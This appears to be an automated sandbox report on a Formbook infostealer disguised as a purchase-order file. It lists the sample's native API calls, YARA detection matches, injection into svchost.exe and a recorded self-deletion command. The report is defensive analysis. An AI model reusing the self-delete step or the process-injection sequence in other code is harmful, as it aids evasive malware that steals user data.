Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29760 NtOpenProcess,	1_2_00C29760
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29770 NtSetInformationFile,	1_2_00C29770
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C2A770 NtOpenThread,	1_2_00C2A770
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C2A710 NtOpenProcessToken,	1_2_00C2A710
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C29730 NtQueryVirtualMemory,	1_2_00C29730
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_004181C0 NtCreateFile,	1_1_004181C0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_00418270 NtReadFile,	1_1_00418270
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_004182F0 NtClose,	1_1_004182F0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_004183A0 NtAllocateVirtualMemory,	1_1_004183A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_0041826A NtReadFile,	1_1_0041826A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_004182EB NtClose,	1_1_004182EB
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_0041839D NtAllocateVirtualMemory,	1_1_0041839D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69A50 NtCreateFile,LdrInitializeThunk,	7_2_03C69A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C699A0 NtCreateSection,LdrInitializeThunk,	7_2_03C699A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69910 NtAdjustPrivilegesToken,LdrInitializeThunk,	7_2_03C69910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69840 NtDelayExecution,LdrInitializeThunk,	7_2_03C69840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69860 NtQuerySystemInformation,LdrInitializeThunk,	7_2_03C69860
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69FE0 NtCreateMutant,LdrInitializeThunk,	7_2_03C69FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69780 NtMapViewOfSection,LdrInitializeThunk,	7_2_03C69780
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69710 NtQueryInformationToken,LdrInitializeThunk,	7_2_03C69710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C696D0 NtCreateKey,LdrInitializeThunk,	7_2_03C696D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C696E0 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_03C696E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69650 NtQueryValueKey,LdrInitializeThunk,	7_2_03C69650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69660 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_03C69660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C695D0 NtClose,LdrInitializeThunk,	7_2_03C695D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69540 NtReadFile,LdrInitializeThunk,	7_2_03C69540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A3B0 NtGetContextThread,	7_2_03C6A3B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69B00 NtSetValueKey,	7_2_03C69B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69A80 NtOpenDirectoryObject,	7_2_03C69A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69A00 NtProtectVirtualMemory,	7_2_03C69A00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69A10 NtQuerySection,	7_2_03C69A10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69A20 NtResumeThread,	7_2_03C69A20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C699D0 NtCreateProcessEx,	7_2_03C699D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69950 NtQueueApcThread,	7_2_03C69950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C698F0 NtReadVirtualMemory,	7_2_03C698F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C698A0 NtWriteVirtualMemory,	7_2_03C698A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6B040 NtSuspendThread,	7_2_03C6B040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69820 NtEnumerateKey,	7_2_03C69820
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C697A0 NtUnmapViewOfSection,	7_2_03C697A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69760 NtOpenProcess,	7_2_03C69760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A770 NtOpenThread,	7_2_03C6A770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69770 NtSetInformationFile,	7_2_03C69770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A710 NtOpenProcessToken,	7_2_03C6A710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69730 NtQueryVirtualMemory,	7_2_03C69730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69670 NtQueryInformationProcess,	7_2_03C69670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69610 NtEnumerateValueKey,	7_2_03C69610
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C695F0 NtQueryInformationFile,	7_2_03C695F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69560 NtWriteFile,	7_2_03C69560
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C69520 NtWaitForSingleObject,	7_2_03C69520
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6AD30 NtSetContextThread,	7_2_03C6AD30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F781C0 NtCreateFile,	7_2_00F781C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F782F0 NtClose,	7_2_00F782F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F78270 NtReadFile,	7_2_00F78270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F783A0 NtAllocateVirtualMemory,	7_2_00F783A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F782EB NtClose,	7_2_00F782EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7826A NtReadFile,	7_2_00F7826A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7839D NtAllocateVirtualMemory,	7_2_00F7839D

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 0_2_004030CB EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_004030CB

Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_004046CA	0_2_004046CA
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_00405FA8	0_2_00405FA8
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_6FC61A98	0_2_6FC61A98
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00401030	1_2_00401030
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041B8AF	1_2_0041B8AF
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041C334	1_2_0041C334
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041C3EB	1_2_0041C3EB
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00408C60	1_2_00408C60
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041B4A6	1_2_0041B4A6
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041C556	1_2_0041C556
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00402D8D	1_2_00402D8D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00402D90	1_2_00402D90
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041C7C2	1_2_0041C7C2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041BFD3	1_2_0041BFD3
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00402FB0	1_2_00402FB0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB28EC	1_2_00CB28EC
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFB090	1_2_00BFB090
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C120A0	1_2_00C120A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB20A8	1_2_00CB20A8
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1002	1_2_00CA1002
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEF900	1_2_00BEF900
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C04120	1_2_00C04120
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB22AE	1_2_00CB22AE
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CADBD2	1_2_00CADBD2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1EBB0	1_2_00C1EBB0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB2B28	1_2_00CB2B28
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF841F	1_2_00BF841F
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAD466	1_2_00CAD466
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB25DD	1_2_00CB25DD
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12581	1_2_00C12581
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFD5E0	1_2_00BFD5E0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE0D20	1_2_00BE0D20
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB1D55	1_2_00CB1D55
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB2D07	1_2_00CB2D07
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB2EF7	1_2_00CB2EF7
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAD616	1_2_00CAD616
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C06E30	1_2_00C06E30
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB1FF1	1_2_00CB1FF1
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_00401030	1_1_00401030
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_0041B8AF	1_1_0041B8AF
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_0041C334	1_1_0041C334
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_0041C3EB	1_1_0041C3EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE03DA	7_2_03CE03DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEDBD2	7_2_03CEDBD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5ABD8	7_2_03C5ABD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD23E3	7_2_03CD23E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5EBB0	7_2_03C5EBB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4AB40	7_2_03C4AB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF2B28	7_2_03CF2B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF22AE	7_2_03CF22AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDFA2B	7_2_03CDFA2B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C499BF	7_2_03C499BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2F900	7_2_03C2F900
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C44120	7_2_03C44120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF28EC	7_2_03CF28EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3B090	7_2_03C3B090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C520A0	7_2_03C520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF20A8	7_2_03CF20A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE1002	7_2_03CE1002
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFE824	7_2_03CFE824
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A830	7_2_03C4A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFDFCE	7_2_03CFDFCE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF1FF1	7_2_03CF1FF1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF2EF7	7_2_03CF2EF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CED616	7_2_03CED616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C46E30	7_2_03C46E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF25DD	7_2_03CF25DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3D5E0	7_2_03C3D5E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52581	7_2_03C52581
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF1D55	7_2_03CF1D55
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF2D07	7_2_03CF2D07
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C20D20	7_2_03C20D20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CED466	7_2_03CED466
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3841F	7_2_03C3841F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7B8AF	7_2_00F7B8AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7B4A6	7_2_00F7B4A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F68C60	7_2_00F68C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F62D90	7_2_00F62D90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F62D8D	7_2_00F62D8D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7C556	7_2_00F7C556
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7C7C2	7_2_00F7C7C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F62FB0	7_2_00F62FB0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C2B150 appears 107 times
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: String function: 00BEB150 appears 35 times
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: String function: 0041A0A0 appears 38 times

Source: PO# 0499699.exe, 00000000.00000003.650059820.0000000009AD6000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO# 0499699.exe
Source: PO# 0499699.exe, 00000001.00000002.727204701.0000000000E6F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO# 0499699.exe
Source: PO# 0499699.exe, 00000001.00000002.726326976.000000000075B000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamesvchost.exej% vs PO# 0499699.exe

Source: PO# 0499699.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.PO# 0499699.exe.22c0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.PO# 0499699.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.PO# 0499699.exe.22c0000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.PO# 0499699.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/3@10/6

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 0_2_004041CD GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004041CD

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 0_2_00402020 CoCreateInstance,MultiByteToWideChar,

0_2_00402020

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4552:120:WilError_01

Source: C:\Users\user\Desktop\PO# 0499699.exe

File created: C:\Users\user\AppData\Local\Temp\nspE537.tmp

Jump to behavior

Source: PO# 0499699.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PO# 0499699.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO# 0499699.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\PO# 0499699.exe

File read: C:\Users\user\Desktop\PO# 0499699.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO# 0499699.exe 'C:\Users\user\Desktop\PO# 0499699.exe'
Source: C:\Users\user\Desktop\PO# 0499699.exe	Process created: C:\Users\user\Desktop\PO# 0499699.exe 'C:\Users\user\Desktop\PO# 0499699.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PO# 0499699.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PO# 0499699.exe	Process created: C:\Users\user\Desktop\PO# 0499699.exe 'C:\Users\user\Desktop\PO# 0499699.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PO# 0499699.exe'	Jump to behavior

Source: C:\Users\user\Desktop\PO# 0499699.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000003.00000000.670938694.0000000005A00000.00000002.00000001.sdmp
